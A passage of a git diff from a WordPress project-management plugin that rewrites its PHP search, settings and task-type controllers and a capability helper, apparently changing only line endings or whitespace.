$projects->whereHas('assignees', function( $q ) use ( $user_id ) { - $q->where('user_id', $user_id ); - }); - } - - $projects = $projects->get(['id', 'title', 'description']); - - - return $this->get_items( $projects, 'project' ); - - } - /** - * Search i tasks - * - * @param $string Query string - * @param $project_id - * - * @return Array result items - */ - function search_in_tasks ( $string, $project_id = false ) { - - $tasks = Task::with( [ - 'metas' => function( $q ) { - $q->where('meta_key', 'privacy')->where('meta_value', 1); - } - ]) - ->where( 'title', 'like', '%'. $string.'%') - ->orderBy( 'created_at', 'DESC' ); - - if ( $project_id ) { - - $tasks = $tasks->where( 'project_id', $project_id ); - $tasks = $this->tasks_privacy( $tasks, $project_id ); - - } else { - if (! pm_has_manage_capability() ) { - $tasks = $this->remove_private_task( $tasks ); - } - } - - $tasks = $tasks->get(['id', 'title', 'description', 'parent_id', 'project_id']); - - return $this->get_items( $tasks, 'task' ); - } - - /** - * Search i tasks - * - * @param $string Query string - * @param $project_id - * @param $type [ ] - * - * @return Array result items - */ - - function search_in_broad ($string, $project_id = false, $type = [] ) { - - $board = Board::with([ - 'metas' => function( $q ) { - $q->where( 'meta_key', 'privacy' )->where( 'meta_value', 1); - } - ]) - ->where( 'title', 'like', '%'. $string.'%') - ->orderBy( 'created_at', 'DESC' ); - - if ( $project_id ) { - $board = $board->where( 'project_id', $project_id ); - $board = $this->board_privacy( $board, $type, $project_id ); - - - } else { - if (! pm_has_manage_capability() ) { - - $project_ids = $this->user_in_projects(); - - $board = $board->whereIn( 'project_id', $project_ids ); - foreach ( $project_ids as $pid ) { - $board = $this->board_privacy( $board, $type, $pid ); - } - } - } - - - - if ( ! empty( $type ) ) { - $board = $board->whereIn( 'type', $type ); - } - - $board = $board->get(['id', 'title', 'description', 'type', 'project_id']); - - return $this->get_items( $board, 'board' ); - } - - - function board_privacy ( $board, $board_type, $project_id ) { - - if ( pm_is_manager( $project_id ) ) { - return $board; - } - - if ( in_array( 'milestone', $board_type ) && pm_user_can( 'view_private_milestone', $project_id ) ) { - return $board; - } - - if ( in_array( 'discussion_board', $board_type ) && pm_user_can( 'view_private_message', $project_id ) ) { - return $board; - } - - if ( in_array( 'task_list', $board_type ) && pm_user_can( 'view_private_list', $project_id ) ) { - return $board; - } - - $board = $board->doesntHave( 'metas', 'and', function ($query) use ( $project_id ) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ) - ->where( 'project_id', '=', $project_id ); - }); - - return $board; - } - /** - * Get Results of search - * - * @param $item search items - * @param $type result type - * - * @return Array - */ - public function get_items( $items, $type ) { - $items_array = []; - - foreach ( $items as $item ) { - $result = []; - $result['type'] = $type; - - if ( $type !== 'project' ) { - $result['project_id'] = $item->project_id; - $project_id = $item->project_id; - } else { - $project_id = $item->id; - } - - - if ( $type == 'task' ) { - - - - if ( $item->parent_id !== "0" ) { - $result['type'] = 'subtask'; - $result['parent_id'] = $item->parent_id; - } - } - - if ( $type == 'board' ) { - if ( - isset( $item->metas[0] ) - && $item->type == 'milestone' - && !pm_user_can( 'view_private_milestone', $item->project_id ) - ) { - continue ; - } - if ( - isset( $item->metas[0] ) - && $item->type == 'discussion_board' - && !pm_user_can( 'view_private_message', $item->project_id ) - ) { - continue ; - } - - if ( - isset( $item->metas[0] ) - && $item->type == 'task_list' - && !pm_user_can( 'view_private_list', $item->project_id ) - ) { - continue ; - } - $result['type'] = $item->type; - } - - $result['title'] = $item->title; - $result['id'] = $item->id; - - $items_array[] = $result; - } - - return $items_array; - } - - /** - * Here is a complex situation - * you are searching in gloablly not in project, - * you Dosen't know have ability to view the project - * && have permissions to view tasks (task is private) - * && also task list is private - */ - function remove_private_task ( $tasks, $user_id = false ) { - $user_id = empty($user_id) ? get_current_user_id() : $user_id; - - // remove Task from projects where yoiu have not abilit to view - $project_ids = $this->user_in_projects($user_id); - - $tasks = $tasks->whereIn('project_id', $project_ids ); - - foreach ( $project_ids as $pid ) { - // filter private tasks if not ability - $tasks = $this->tasks_privacy( $tasks, $pid ); - } - - return $tasks; - - } - - /** - * task privacy query for tasks, - * - * @param $tasks QueryBuilder - * @param $project_id initeger - * - * @return QueryBuilder - */ - function tasks_privacy ( $tasks, $project_id ) { - - if ( pm_is_manager( $project_id ) ) { - return $tasks; - } - - if ( ! pm_user_can( 'view_private_task', $project_id ) ) { - // when tasks are praivate and not ability to view - $tasks = $tasks->doesntHave( 'metas', 'and', function ( $query ) use( $project_id ) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ) - ->where( 'project_id', '=', $project_id ); - - }); - } - - // When list is private and not avility to view list - if ( ! pm_user_can( 'view_private_list', $project_id ) ) { - $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ( $query ) use ( $project_id ) { - - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ) - ->where( 'project_id', '=', $project_id ); - - }); - } - - return $tasks; - } - - function user_in_projects ( $user_id = false ) { - $user_id = empty( $user_id ) ? get_current_user_id() : $user_id; - - $projects_ids = User_Role::where( 'user_id', $user_id )->get(['project_id'])->toArray(); - - return wp_list_pluck( $projects_ids, 'project_id' ); - } - - function get_default_result() { - $user_id = get_current_user_id(); - $projects = Project::where( 'status', 0 ); - - if ( !pm_has_manage_capability( $user_id ) ){ - $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { - $q->where('user_id', $user_id ); - }); - } - - $projects = $projects->leftJoin( pm_tb_prefix() . 'pm_meta', function ( $join ) use( $user_id ) { - $join->on( pm_tb_prefix().'pm_projects.id', '=', pm_tb_prefix().'pm_meta.project_id' ) - ->where('meta_key', '=', 'favourite_project')->where('entity_id', '=', $user_id); - }) - ->selectRaw( pm_tb_prefix().'pm_projects.*' ) - ->groupBy( pm_tb_prefix().'pm_projects.id' ) - ->orderBy( pm_tb_prefix().'pm_meta.meta_value', 'DESC'); - - $projects = $projects->orderBy( pm_tb_prefix().'pm_projects.created_at', 'DESC' )->take(5); - $projects = $projects->get(['id', 'title', 'description']); - - - return $this->get_items( $projects, 'project' ); - } -} +get_param( 'query' ); + $project_id = $request->get_param( 'project_id' ); + $model = $request->get_param( 'model' ); //[milestone, discussion_board, task_list, task] + $model = empty( $model ) ? '' : $model; + + if ( empty( trim( $string ) ) ) { + return $this->get_default_result(); + } + + if ( $project_id || !empty( $model ) ) { + return $this->get_result_for_project( $string, $project_id, $model ); + } + return $this->get_all_result( $string ); + } + + public function searchTopBar( WP_REST_Request $request ) { + $string = $request->get_param( 'query' ); + $type = $request->get_param( 'type' ); + $model = $request->get_param( 'model' ); //[milestone, discussion_board, task_list, task] + $model = empty( $model ) ? '' : $model; + + if ( empty( trim( $string ) ) ) { + return $this->get_default_result(); + } + + return $this->search_project_type( $string, 0 ); + } + + public function search_by_client( WP_REST_Request $request ) { + $string = $request->get_param('query'); + $current_user_id = get_current_user_id(); + $projects = []; + + $project_ids = []; + + if ( ! pm_has_manage_capability( $current_user_id ) ) { + $project_ids = $this->user_in_projects( $current_user_id ); + } + + + $users = User::with( 'projects' ) + ->where( 'display_name', 'like', '%'.$string.'%' ) + ->orWhere( 'user_login', 'like', '%'.$string.'%' ) + ->orWhere( 'user_nicename', 'like', '%'.$string.'%' ) + ->orWhere( 'user_email', 'like', '%'.$string.'%' ) + ->get(); + + + $users->map( function( $user ) use ( &$projects, $project_ids ) { + $user->projects->map( function( $project ) use ( &$projects, $project_ids ) { + + if ( ! empty( $project_ids ) ) { + if ( in_array( $project->id, $project_ids ) ) { + $projects[] = $project->toArray(); + } + } else { + $projects[] = $project->toArray(); + } + }); + + }); + + if ( empty( $projects ) ) { + $projects = [ [ "no_result" => __( "No results found.", 'wedevs-project-manager' )] ]; + } + + return $projects; + } + + + + public function get_result_for_project ( $string, $project_id, $model ) { + if ( ! $string ) { + return []; + } + $items = []; + + if ( 'tasks' === $model ) { + $items = array_merge( $items, $this->search_in_tasks( $string, $project_id ) ); + } else if ( 'milestone'=== $model ) { + $items = array_merge($items, $this->search_in_broad( $string, $project_id, ['milestone'] ) ); + } else if ( 'discussion_board' === $model ) { + $items = array_merge( $items, $this->search_in_broad( $string, $project_id, ['discussion_board'] ) ); + } else if ( 'task_list'=== $model ) { + $items = array_merge( $items, $this->search_in_broad( $string, $project_id, ['task_list'] ) ); + } elseif ( 'project' === $model ) { + $items = array_merge( $items, $this->search_in_project( $string ) ); + } + + return $items; + + } + + public function get_all_result( $string, $project_id = false ) { + if ( ! $string ) { + return []; + } + $items = []; + + $items = array_merge( $items, $this->search_in_project( $string, $project_id ) ); + + $items = array_merge( $items, $this->search_in_tasks( $string, $project_id )); + + $items = array_merge( $items, $this->search_in_broad( $string, $project_id )); + + if ( empty( $items ) ) { + $items = [ [ "no_result" => __( "No results found.", 'wedevs-project-manager' ) ]]; + } + + return $items; + } + + function search_in_project ( $string, $user_id = false ) { + $user_id = empty($user_id) ? get_current_user_id() : $user_id; + + $projects = Project::where( 'title', 'like', '%'. $string.'%')->orderBy( 'created_at', 'DESC' );; + + // user is assigneed in project + if ( !pm_has_manage_capability( $user_id ) ){ + $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { + $q->where('user_id', $user_id ); + }); + } + + $projects = $projects->get(['id', 'title', 'description']); + + + return $this->get_items( $projects, 'project' ); + + } + + function search_project_type ( $string, $type = 0, $user_id = false) { + $user_id = empty($user_id) ? get_current_user_id() : $user_id; + + $projects = Project::where( 'title', 'like', '%'. $string.'%') + ->where( 'status', '=', $type); + + // user is assigneed in project + if ( !pm_has_manage_capability( $user_id ) ){ + $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { + $q->where('user_id', $user_id ); + }); + } + + $projects = $projects->get(['id', 'title', 'description']); + + + return $this->get_items( $projects, 'project' ); + + } + /** + * Search i tasks + * + * @param $string Query string + * @param $project_id + * + * @return Array result items + */ + function search_in_tasks ( $string, $project_id = false ) { + + $tasks = Task::with( [ + 'metas' => function( $q ) { + $q->where('meta_key', 'privacy')->where('meta_value', 1); + } + ]) + ->where( 'title', 'like', '%'. $string.'%') + ->orderBy( 'created_at', 'DESC' ); + + if ( $project_id ) { + + $tasks = $tasks->where( 'project_id', $project_id ); + $tasks = $this->tasks_privacy( $tasks, $project_id ); + + } else { + if (! pm_has_manage_capability() ) { + $tasks = $this->remove_private_task( $tasks ); + } + } + + $tasks = $tasks->get(['id', 'title', 'description', 'parent_id', 'project_id']); + + return $this->get_items( $tasks, 'task' ); + } + + /** + * Search i tasks + * + * @param $string Query string + * @param $project_id + * @param $type [ ] + * + * @return Array result items + */ + + function search_in_broad ($string, $project_id = false, $type = [] ) { + + $board = Board::with([ + 'metas' => function( $q ) { + $q->where( 'meta_key', 'privacy' )->where( 'meta_value', 1); + } + ]) + ->where( 'title', 'like', '%'. $string.'%') + ->orderBy( 'created_at', 'DESC' ); + + if ( $project_id ) { + $board = $board->where( 'project_id', $project_id ); + $board = $this->board_privacy( $board, $type, $project_id ); + + + } else { + if (! pm_has_manage_capability() ) { + + $project_ids = $this->user_in_projects(); + + $board = $board->whereIn( 'project_id', $project_ids ); + foreach ( $project_ids as $pid ) { + $board = $this->board_privacy( $board, $type, $pid ); + } + } + } + + + + if ( ! empty( $type ) ) { + $board = $board->whereIn( 'type', $type ); + } + + $board = $board->get(['id', 'title', 'description', 'type', 'project_id']); + + return $this->get_items( $board, 'board' ); + } + + + function board_privacy ( $board, $board_type, $project_id ) { + + if ( pm_is_manager( $project_id ) ) { + return $board; + } + + if ( in_array( 'milestone', $board_type ) && pm_user_can( 'view_private_milestone', $project_id ) ) { + return $board; + } + + if ( in_array( 'discussion_board', $board_type ) && pm_user_can( 'view_private_message', $project_id ) ) { + return $board; + } + + if ( in_array( 'task_list', $board_type ) && pm_user_can( 'view_private_list', $project_id ) ) { + return $board; + } + + $board = $board->doesntHave( 'metas', 'and', function ($query) use ( $project_id ) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ) + ->where( 'project_id', '=', $project_id ); + }); + + return $board; + } + /** + * Get Results of search + * + * @param $item search items + * @param $type result type + * + * @return Array + */ + public function get_items( $items, $type ) { + $items_array = []; + + foreach ( $items as $item ) { + $result = []; + $result['type'] = $type; + + if ( $type !== 'project' ) { + $result['project_id'] = $item->project_id; + $project_id = $item->project_id; + } else { + $project_id = $item->id; + } + + + if ( $type == 'task' ) { + + + + if ( $item->parent_id !== "0" ) { + $result['type'] = 'subtask'; + $result['parent_id'] = $item->parent_id; + } + } + + if ( $type == 'board' ) { + if ( + isset( $item->metas[0] ) + && $item->type == 'milestone' + && !pm_user_can( 'view_private_milestone', $item->project_id ) + ) { + continue ; + } + if ( + isset( $item->metas[0] ) + && $item->type == 'discussion_board' + && !pm_user_can( 'view_private_message', $item->project_id ) + ) { + continue ; + } + + if ( + isset( $item->metas[0] ) + && $item->type == 'task_list' + && !pm_user_can( 'view_private_list', $item->project_id ) + ) { + continue ; + } + $result['type'] = $item->type; + } + + $result['title'] = $item->title; + $result['id'] = $item->id; + + $items_array[] = $result; + } + + return $items_array; + } + + /** + * Here is a complex situation + * you are searching in gloablly not in project, + * you Dosen't know have ability to view the project + * && have permissions to view tasks (task is private) + * && also task list is private + */ + function remove_private_task ( $tasks, $user_id = false ) { + $user_id = empty($user_id) ? get_current_user_id() : $user_id; + + // remove Task from projects where yoiu have not abilit to view + $project_ids = $this->user_in_projects($user_id); + + $tasks = $tasks->whereIn('project_id', $project_ids ); + + foreach ( $project_ids as $pid ) { + // filter private tasks if not ability + $tasks = $this->tasks_privacy( $tasks, $pid ); + } + + return $tasks; + + } + + /** + * task privacy query for tasks, + * + * @param $tasks QueryBuilder + * @param $project_id initeger + * + * @return QueryBuilder + */ + function tasks_privacy ( $tasks, $project_id ) { + + if ( pm_is_manager( $project_id ) ) { + return $tasks; + } + + if ( ! pm_user_can( 'view_private_task', $project_id ) ) { + // when tasks are praivate and not ability to view + $tasks = $tasks->doesntHave( 'metas', 'and', function ( $query ) use( $project_id ) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ) + ->where( 'project_id', '=', $project_id ); + + }); + } + + // When list is private and not avility to view list + if ( ! pm_user_can( 'view_private_list', $project_id ) ) { + $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ( $query ) use ( $project_id ) { + + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ) + ->where( 'project_id', '=', $project_id ); + + }); + } + + return $tasks; + } + + function user_in_projects ( $user_id = false ) { + $user_id = empty( $user_id ) ? get_current_user_id() : $user_id; + + $projects_ids = User_Role::where( 'user_id', $user_id )->get(['project_id'])->toArray(); + + return wp_list_pluck( $projects_ids, 'project_id' ); + } + + function get_default_result() { + $user_id = get_current_user_id(); + $projects = Project::where( 'status', 0 ); + + if ( !pm_has_manage_capability( $user_id ) ){ + $projects = $projects->whereHas('assignees', function( $q ) use ( $user_id ) { + $q->where('user_id', $user_id ); + }); + } + + $projects = $projects->leftJoin( pm_tb_prefix() . 'pm_meta', function ( $join ) use( $user_id ) { + $join->on( pm_tb_prefix().'pm_projects.id', '=', pm_tb_prefix().'pm_meta.project_id' ) + ->where('meta_key', '=', 'favourite_project')->where('entity_id', '=', $user_id); + }) + ->selectRaw( pm_tb_prefix().'pm_projects.*' ) + ->groupBy( pm_tb_prefix().'pm_projects.id' ) + ->orderBy( pm_tb_prefix().'pm_meta.meta_value', 'DESC'); + + $projects = $projects->orderBy( pm_tb_prefix().'pm_projects.created_at', 'DESC' )->take(5); + $projects = $projects->get(['id', 'title', 'description']); + + + return $this->get_items( $projects, 'project' ); + } +} diff --git a/src/Settings/Controllers/Settings_Controller.php b/src/Settings/Controllers/Settings_Controller.php index df41d3c2e..af5aa7bde 100644 --- a/src/Settings/Controllers/Settings_Controller.php +++ b/src/Settings/Controllers/Settings_Controller.php @@ -1,149 +1,149 @@ -get_param( 'project_id' ); - $key = $request->get_param( 'key' ); - - if ( $project_id && $key ) { - $settings = Settings::where( 'project_id', $project_id ) - ->where( 'key', $key ) - ->first(); - if( $settings ){ - $resource = new Item( $settings, new Settings_Transformer ); - }else{ - $resource = null; - } - return $this->get_response( $resource ); - } else if ( $key ) { - $settings = Settings::where( 'key', $key )->get(); - $resource = new Collection( $settings, new Settings_Transformer ); - - return $this->get_response( $resource ); - } else if ( $project_id ) { - $settings = Settings::where( 'project_id', $project_id )->get(); - $resource = new Collection( $settings, new Settings_Transformer ); - - return $this->get_response( $resource ); - } else { - $settings = Settings::whereNull( 'project_id' )->get(); - $resource = new Collection( $settings, new Settings_Transformer ); - - return $this->get_response( $resource ); - } - - - } - - public function store( WP_REST_Request $request ) { - $data = $this->extract_non_empty_values( $request ); - $project_id = $request->get_param( 'project_id' ); - $settings = $request->get_param( 'settings' ); - $id = $request->get_param( 'id' ); - - if ( is_array( $settings ) ) { - $settings_collection = []; - - foreach ( $settings as $settings_data ) { - $settings_collection[] = $this->save_settings( $settings_data, $project_id, $id ); - } - - $resource = new Collection( $settings_collection, new Settings_Transformer ); - ( new Helper )->update_project_permission( $settings, $project_id ); - } else { - - $settings = $this->save_settings( $data, $project_id, $id ); - $resource = new Item( $settings, new Settings_Transformer ); - ( new Helper )->update_project_permission( $data, $project_id ); - } - - do_action( 'pm_after_save_settings', $settings ); - - $message = [ - 'message' => pm_get_text('success_messages.setting_saved') - ]; - return $this->get_response( $resource, $message ); - } - - public static function save_settings( $data, $project_id = 0, $id = 0 ) { - $add_more = ! empty( $data['value']['settings_add_more_value'] ) && ( $data['value']['settings_add_more_value'] == 'data_continue' ) ? true : false; - - if ( $add_more ) { - return Settings::create([ - 'key' => $data['key'], - 'project_id' => $project_id, - 'value' => $data['value']['data'] - ]); - } - - if ( intval( $id ) ) { - $settings = Settings::firstOrCreate([ - 'key' => $data['key'], - 'id' => $id - ]); - } else if ( $project_id ) { - $settings = Settings::firstOrCreate([ - 'key' => $data['key'], - 'project_id' => $project_id - ]); - } else { - $settings = Settings::firstOrCreate([ - 'key' => $data['key'] - ]); - } - - $settings->update_model( $data ); - - return $settings; - } - - public function destroy( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - - $settings = Settings::where( 'id', $id ) - ->first(); - - $settings->delete(); - - $message = [ - 'message' => __('Delete settings record', 'wedevs-project-manager') - ]; - - return $this->get_response(false, $message); - } - - public function pluck_without_project(WP_REST_Request $request) { - $key = $request->get_param('key'); - - return pm_get_setting( $kye ); - } - - public function pluck_with_project(WP_REST_Request $request) { - $project_id = $request->get_param('project_id'); - $key = $request->get_param('key'); - - return pm_get_setting( $kye, $project_id ); - } - - public function notice(WP_REST_Request $request) { - $action = $request->get_param('action'); - - update_option( $action, 'complete' ); - } -} +get_param( 'project_id' ); + $key = $request->get_param( 'key' ); + + if ( $project_id && $key ) { + $settings = Settings::where( 'project_id', $project_id ) + ->where( 'key', $key ) + ->first(); + if( $settings ){ + $resource = new Item( $settings, new Settings_Transformer ); + }else{ + $resource = null; + } + return $this->get_response( $resource ); + } else if ( $key ) { + $settings = Settings::where( 'key', $key )->get(); + $resource = new Collection( $settings, new Settings_Transformer ); + + return $this->get_response( $resource ); + } else if ( $project_id ) { + $settings = Settings::where( 'project_id', $project_id )->get(); + $resource = new Collection( $settings, new Settings_Transformer ); + + return $this->get_response( $resource ); + } else { + $settings = Settings::whereNull( 'project_id' )->get(); + $resource = new Collection( $settings, new Settings_Transformer ); + + return $this->get_response( $resource ); + } + + + } + + public function store( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + $project_id = $request->get_param( 'project_id' ); + $settings = $request->get_param( 'settings' ); + $id = $request->get_param( 'id' ); + + if ( is_array( $settings ) ) { + $settings_collection = []; + + foreach ( $settings as $settings_data ) { + $settings_collection[] = $this->save_settings( $settings_data, $project_id, $id ); + } + + $resource = new Collection( $settings_collection, new Settings_Transformer ); + ( new Helper )->update_project_permission( $settings, $project_id ); + } else { + + $settings = $this->save_settings( $data, $project_id, $id ); + $resource = new Item( $settings, new Settings_Transformer ); + ( new Helper )->update_project_permission( $data, $project_id ); + } + + do_action( 'pm_after_save_settings', $settings ); + + $message = [ + 'message' => pm_get_text('success_messages.setting_saved') + ]; + return $this->get_response( $resource, $message ); + } + + public static function save_settings( $data, $project_id = 0, $id = 0 ) { + $add_more = ! empty( $data['value']['settings_add_more_value'] ) && ( $data['value']['settings_add_more_value'] == 'data_continue' ) ? true : false; + + if ( $add_more ) { + return Settings::create([ + 'key' => $data['key'], + 'project_id' => $project_id, + 'value' => $data['value']['data'] + ]); + } + + if ( intval( $id ) ) { + $settings = Settings::firstOrCreate([ + 'key' => $data['key'], + 'id' => $id + ]); + } else if ( $project_id ) { + $settings = Settings::firstOrCreate([ + 'key' => $data['key'], + 'project_id' => $project_id + ]); + } else { + $settings = Settings::firstOrCreate([ + 'key' => $data['key'] + ]); + } + + $settings->update_model( $data ); + + return $settings; + } + + public function destroy( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + + $settings = Settings::where( 'id', $id ) + ->first(); + + $settings->delete(); + + $message = [ + 'message' => __('Delete settings record', 'wedevs-project-manager') + ]; + + return $this->get_response(false, $message); + } + + public function pluck_without_project(WP_REST_Request $request) { + $key = $request->get_param('key'); + + return pm_get_setting( $kye ); + } + + public function pluck_with_project(WP_REST_Request $request) { + $project_id = $request->get_param('project_id'); + $key = $request->get_param('key'); + + return pm_get_setting( $kye, $project_id ); + } + + public function notice(WP_REST_Request $request) { + $action = $request->get_param('action'); + + update_option( $action, 'complete' ); + } +} diff --git a/src/Settings/Controllers/Task_Types_Controller.php b/src/Settings/Controllers/Task_Types_Controller.php index 26a2ed0e7..2b33d730f 100644 --- a/src/Settings/Controllers/Task_Types_Controller.php +++ b/src/Settings/Controllers/Task_Types_Controller.php @@ -1,124 +1,124 @@ -get_param( 'per_page' ); - $per_page = $per_page ? $per_page : 500; - $page = $request->get_param( 'page' ); - $page = empty( $page ) ? 1 : $page; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $types = Task_Types::orderBy( 'id', 'DESC') - ->paginate( $per_page ); - - if ( $per_page == '-1' ) { - $per_page = $types->count(); - } - - $type_collection = $types->getCollection(); - $resource = new Collection( $type_collection, new Task_Type_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $types ) ); - - return $this->get_response( $resource ); - } - - public function store( WP_REST_Request $request ) { - - $title = $request->get_param( 'title' ); - $description = $request->get_param( 'description' ); - $status = $request->get_param( 'status' ); - $status = $status != 0 ? 1 : 0; - $type = $request->get_param( 'type' ); - $type = empty( $type ) ? 'task' : 'subtask'; - - $task_type = Task_Types::create([ - 'title' => $title, - 'description' => $description, - 'type' => $type, - 'status' => $status, - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id() - ]); - - $resource = new Item( $task_type, new Task_Type_Transformer ); - - return $this->get_response( $resource ); - } - - public function update_task_type( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - $title = $request->get_param( 'title' ); - $description = $request->get_param( 'description' ); - $type = $request->get_param( 'type' ); - - $type = [ - 'title' => $title, - 'description' => $description, - 'type' => $type - ]; - - $stored_type = Task_Types::where( 'id', $id ) - ->first(); - - $stored_type->update_model( $type ); - - $resource = new Item( $stored_type, new Task_Type_Transformer ); - - return $this->get_response( $resource ); - } - - public function destroy_task_type( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - - $stored_type = Task_Types::where( 'id', $id ) - ->first(); - - if ( $stored_type ) { - $stored_type->delete(); - $this->destroy_task_type_task_relation_type( $id ); - } - - $resource = new Item( $stored_type, new Task_Type_Transformer ); - - return $this->get_response( $resource ); - } - - public function destroy_task_type_task_relation_type( $id ) { - if ( ! is_array( $id ) ) { - $id = [$id]; - } - - Task_Type_Task::whereIn( 'type_id', $id )->delete(); - } - - public static function destroy_task_type_task_relation_task( $id ) { - if ( ! is_array( $id ) ) { - $id = [$id]; - } - - Task_Type_Task::whereIn( 'task_id', $id )->delete(); - } -} - - - +get_param( 'per_page' ); + $per_page = $per_page ? $per_page : 500; + $page = $request->get_param( 'page' ); + $page = empty( $page ) ? 1 : $page; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $types = Task_Types::orderBy( 'id', 'DESC') + ->paginate( $per_page ); + + if ( $per_page == '-1' ) { + $per_page = $types->count(); + } + + $type_collection = $types->getCollection(); + $resource = new Collection( $type_collection, new Task_Type_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $types ) ); + + return $this->get_response( $resource ); + } + + public function store( WP_REST_Request $request ) { + + $title = $request->get_param( 'title' ); + $description = $request->get_param( 'description' ); + $status = $request->get_param( 'status' ); + $status = $status != 0 ? 1 : 0; + $type = $request->get_param( 'type' ); + $type = empty( $type ) ? 'task' : 'subtask'; + + $task_type = Task_Types::create([ + 'title' => $title, + 'description' => $description, + 'type' => $type, + 'status' => $status, + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id() + ]); + + $resource = new Item( $task_type, new Task_Type_Transformer ); + + return $this->get_response( $resource ); + } + + public function update_task_type( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + $title = $request->get_param( 'title' ); + $description = $request->get_param( 'description' ); + $type = $request->get_param( 'type' ); + + $type = [ + 'title' => $title, + 'description' => $description, + 'type' => $type + ]; + + $stored_type = Task_Types::where( 'id', $id ) + ->first(); + + $stored_type->update_model( $type ); + + $resource = new Item( $stored_type, new Task_Type_Transformer ); + + return $this->get_response( $resource ); + } + + public function destroy_task_type( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + + $stored_type = Task_Types::where( 'id', $id ) + ->first(); + + if ( $stored_type ) { + $stored_type->delete(); + $this->destroy_task_type_task_relation_type( $id ); + } + + $resource = new Item( $stored_type, new Task_Type_Transformer ); + + return $this->get_response( $resource ); + } + + public function destroy_task_type_task_relation_type( $id ) { + if ( ! is_array( $id ) ) { + $id = [$id]; + } + + Task_Type_Task::whereIn( 'type_id', $id )->delete(); + } + + public static function destroy_task_type_task_relation_task( $id ) { + if ( ! is_array( $id ) ) { + $id = [$id]; + } + + Task_Type_Task::whereIn( 'task_id', $id )->delete(); + } +} + + + diff --git a/src/Settings/Helper/Settings.php b/src/Settings/Helper/Settings.php index 8188d7467..dd95b8372 100644 --- a/src/Settings/Helper/Settings.php +++ b/src/Settings/Helper/Settings.php @@ -1,123 +1,123 @@ - $pmison_sett ) { - if ( $pmison_sett['key'] == 'capabilities' ) { - $this->update( $pmison_sett, $project_id ); - } - } - } else { - if ( $pmison_setts['key'] == 'capabilities' ) { - $this->update( $pmison_setts, $project_id ); - } - } - } - - private function update( $settings, $project_id ) { - $this->delete_cap( $project_id ) - ->set_co_worker_role_project_id( $project_id ) - ->set_client_role_project_id( $project_id ) - ->set_manager_role_project_id( $project_id ); - - $this->set_cap( $settings['value']['co_worker'], $this->co_worker_role_project_id ); - $this->set_cap( $settings['value']['client'], $this->client_role_project_id ); - $this->set_cap( $this->manager_cap(), $this->manager_role_project_id ); - } - - private function manager_cap() { - return [ - 'create_message' => 1, - 'view_private_message' => 1, - 'create_list' => 1, - 'view_private_list' => 1, - 'create_milestone' => 1, - 'view_private_milestone' => 1, - 'create_task' => 1, - 'view_private_task' => 1, - 'create_file' => 1, - 'view_private_file' => 1 - ]; - } - - private function set_cap( $caps, $rol_project_id ) { - global $wpdb; - $tb_cap = $wpdb->prefix . 'pm_role_project_capabilities'; - - foreach ( $caps as $cap_key => $cap ) { - - if ( ! $cap || ( $cap == 'false' || $cap === false ) ) { - continue; - } - - $cap_id = pm_get_capabilities_relation( $cap_key ); - - $wpdb->insert( - $tb_cap, - [ - 'role_project_id' => $rol_project_id, - 'capability_id' => $cap_id - ], - ['%d', '%d'] - ); - } - } - - private function set_co_worker_role_project_id( $project_id ) { - global $wpdb; - $tb_rol = $wpdb->prefix . 'pm_role_project'; - - $query = "SELECT id FROM $tb_rol - WHERE project_id=%d and role_id=%d"; - - $this->co_worker_role_project_id = $wpdb->get_var( $wpdb->prepare( $query, $project_id, 2 ) ); - - return $this; - } - - private function set_client_role_project_id( $project_id ) { - global $wpdb; - $tb_rol = $wpdb->prefix . 'pm_role_project'; - - $query = "SELECT id FROM $tb_rol - WHERE project_id=%d and role_id=%d"; - - $this->client_role_project_id = $wpdb->get_var( $wpdb->prepare( $query, $project_id, 3 ) ); - - return $this; - } - - private function set_manager_role_project_id( $project_id ) { - global $wpdb; - $tb_rol = $wpdb->prefix . 'pm_role_project'; - - $query = "SELECT id FROM $tb_rol - WHERE project_id=%d and role_id=%d"; - - $this->manager_role_project_id = $wpdb->get_var( $wpdb->prepare( $query, $project_id, 1 ) ); - - return $this; - } - - private function delete_cap( $project_id ) { - global $wpdb; - $tb_rol = $wpdb->prefix . 'pm_role_project'; - $tb_cap = $wpdb->prefix . 'pm_role_project_capabilities'; - - $query = "DELETE cp FROM $tb_cap as cp - LEFT JOIN $tb_rol as rp ON rp.id=cp.role_project_id - WHERE rp.project_id=%d"; - - $wpdb->query( $wpdb->prepare( $query, $project_id ) ); - - return $this; - } -} + $pmison_sett ) { + if ( $pmison_sett['key'] == 'capabilities' ) { + $this->update( $pmison_sett, $project_id ); + } + } + } else { + if ( $pmison_setts['key'] == 'capabilities' ) { + $this->update( $pmison_setts, $project_id ); + } + } + } + + private function update( $settings, $project_id ) { + $this->delete_cap( $project_id ) + ->set_co_worker_role_project_id( $project_id ) + ->set_client_role_project_id( $project_id ) + ->set_manager_role_project_id( $project_id ); + + $this->set_cap( $settings['value']['co_worker'], $this->co_worker_role_project_id ); + $this->set_cap( $settings['value']['client'], $this->client_role_project_id ); + $this->set_cap( $this->manager_cap(), $this->manager_role_project_id ); + } + + private function manager_cap() { + return [ + 'create_message' 